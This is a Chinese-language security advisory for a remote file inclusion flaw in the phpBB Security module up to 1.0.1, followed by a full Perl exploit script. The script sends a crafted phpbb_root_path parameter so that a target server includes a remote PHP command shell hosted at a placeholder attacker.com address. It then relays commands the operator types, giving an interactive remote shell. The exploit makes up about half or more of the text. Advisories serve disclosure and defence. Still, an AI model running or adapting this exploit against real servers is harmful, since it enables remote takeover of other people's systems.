发布日期：2006-10-13
更新日期：2006-10-16

受影响系统：

phpBB Security phpBB Security <= 1.0.1

描述：

---

BUGTRAQ  ID: 20518

phpBB Security是用于在phpBB论坛中所使用的病毒和攻击过滤模块。

phpBB Security模块在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

phpBB Security模块的phpbb_security.php脚本没有对phpbb_root_path参数数据做充分地检查过滤，远程攻击者可以使脚本包含远程服务器上的PHP代码执行。

<*来源：Ashiyane Corporation （nima@ashiyane.ir）
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl

###################################################################################### \
############### #                                                                     \
# # phpBB Security  1.0.1                                                             \
# #                                                                                   \
# # Class:  Remote File Include Vulnerability                                         \
# #                                                                                   \
#                                                                                     \
# # Date:   2006/10/12                                                                \
# #                                                                                   \
# # Remote: Yes                                                                       \
# #                                                                                   \
# # Type:   high                                                                      \
# #                                                                                   \
# # Site:   http://www.phpbb-amod.com/downloads/phpBB_Security.zip                    \
# #                                                                                   \
# #################################################################################### \
#################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your \
Personal Script

print "\n";
print "##########################################################################\n";
print "#                                                                        #\n";
print "# phpBB Security  <= 1.0.1           Remote File Include Vulnerability   #\n";
print "# Bug found By : Ashiyane Corporation                                    #\n";
print "# Email: nima salehi    nima[at]ashiyane.ir                              #\n";
print "# Web Site : www.Ashiyane.ir                                             #\n";
print "#                                                                        #\n";
print "##########################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /path/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul="phpbb_security.php?phpbb_root_path="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") \
or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

建议：

---

厂商补丁：

phpBB Security
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.phpbb-amod.com/downloads/phpBB_Security.zip

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